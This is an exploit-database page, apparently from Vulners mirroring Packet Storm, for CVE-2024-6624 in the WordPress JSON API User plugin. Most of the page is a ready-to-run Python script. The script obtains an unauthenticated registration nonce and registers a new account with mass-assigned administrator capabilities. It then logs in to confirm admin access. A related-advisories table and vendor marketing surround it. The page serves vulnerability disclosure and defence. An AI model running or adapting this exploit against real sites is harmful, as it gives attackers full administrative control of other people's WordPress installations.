Lucene search
+L

📄 WordPress JSON API User 3.9.2 Unauthenticated Privilege Escalation

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 10 Views

Unauthenticated users can register via JSON API User 3.9.2 and become administrators via custom_fields.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2024-6624
10 Sep 202412:08
githubexploit
GithubExploit
Exploit for CVE-2024-6624
6 Feb 202511:11
githubexploit
Circl
CVE-2024-6624
11 Jul 202409:57
circl
CNNVD
WordPress plugin JSON API User security vulnerability
11 Jul 202400:00
cnnvd
CVE
CVE-2024-6624
11 Jul 202406:43
cve
Cvelist
CVE-2024-6624 JSON API User <= 3.9.3 - Unauthenticated Privilege Escalation
11 Jul 202406:43
cvelist
NVD
CVE-2024-6624
11 Jul 202407:15
nvd
OSV
CVE-2024-6624
11 Jul 202407:15
osv
Patchstack
WordPress JSON API User plugin <= 3.9.3 - Unauthenticated Privilege Escalation vulnerability
10 Jul 202419:22
patchstack
Patchstack
WordPress JSON API User Plugin <= 3.9.3 is vulnerable to Privilege Escalation
10 Jul 202400:00
patchstack
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin JSON API User <= 3.9.2 - Unauthenticated Privilege Escalation to Administrator (Mass-Assignment)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/json-api-user/
    # Software Link: https://downloads.wordpress.org/plugin/json-api-user.3.9.2.zip
    # Version: 3.9.2 (REQUIRED)
    # Tested on: WordPress 6.1.1, PHP 7.4, MariaDB 10.6 (Docker, Debian / Linux)
    # CVE : CVE-2024-6624
    """
    JSON API User <= 3.9.2 extends the JSON API plugin with a /user/register endpoint. After creating
    the account with wp_insert_user() (controllers/User.php:147), it iterates the attacker-controlled
    `custom_fields` array straight into update_user_meta() with NO key allowlist:
    
        controllers/User.php:166  if (is_array($_REQUEST['custom_fields'])) {
        controllers/User.php:168    foreach ($_REQUEST['custom_fields'] as $field=>$val) {
        controllers/User.php:169      $data[$field] = update_user_meta($user_id, $field, $val);
    
    Supplying custom_fields[wp_capabilities][administrator]=1 (and wp_user_level=10) writes the
    administrator role capability onto the freshly-created user. An unauthenticated visitor registers
    and is immediately an administrator.
    
    The required registration nonce is handed out to anyone by the JSON API core get_nonce method
    (?json=get_nonce&controller=user&method=register) — no authentication needed.
    
    Prior state: JSON API core plugin active + its 'user' controller enabled
    (option json_api_controllers contains 'user') + users_can_register = 1.
    """
    import argparse, sys, re, random
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="e.g. http://localhost:8091")
        ap.add_argument("--user", default="jau" + str(random.randint(1000, 99999)))
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        nr = s.get(base + "/?json=get_nonce&controller=user&method=register&insecure=cool", timeout=25)
        try:
            nonce = nr.json().get("nonce")
        except Exception:
            nonce = None
        print(f"[*] Target: {base} | unauth register nonce: {nonce}")
        if not nonce:
            print("[-] could not obtain nonce (json-api 'user' controller enabled?)"); return 1
    
        q = {"json": "user/register", "username": args.user, "email": args.user + "@evil.com",
             "nonce": nonce, "insecure": "cool", "user_pass": args.pw, "display_name": args.user,
             "custom_fields[wp_capabilities][administrator]": "1", "custom_fields[wp_user_level]": "10"}
        r = s.get(base + "/", params=q, timeout=25)
        print(f"[*] register -> HTTP {r.status_code} :: {re.sub(chr(92)+'s+',' ',r.text[:160])}")
    
        # prove: log in as the new user and reach an administrator-only screen
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        a.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        p = a.get(base + "/wp-admin/plugins.php", timeout=20)
        if p.status_code == 200 and ("Deactivate" in p.text or "plugin-title" in p.text):
            print(f"\n[+] PRIVILEGE ESCALATION CONFIRMED — new user '{args.user}' is administrator "
                  f"(reached wp-admin/plugins.php).")
            return 0
        print(f"\n[-] not confirmed (plugins.php={p.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 3.19.8
EPSS0.0287
SSVC
10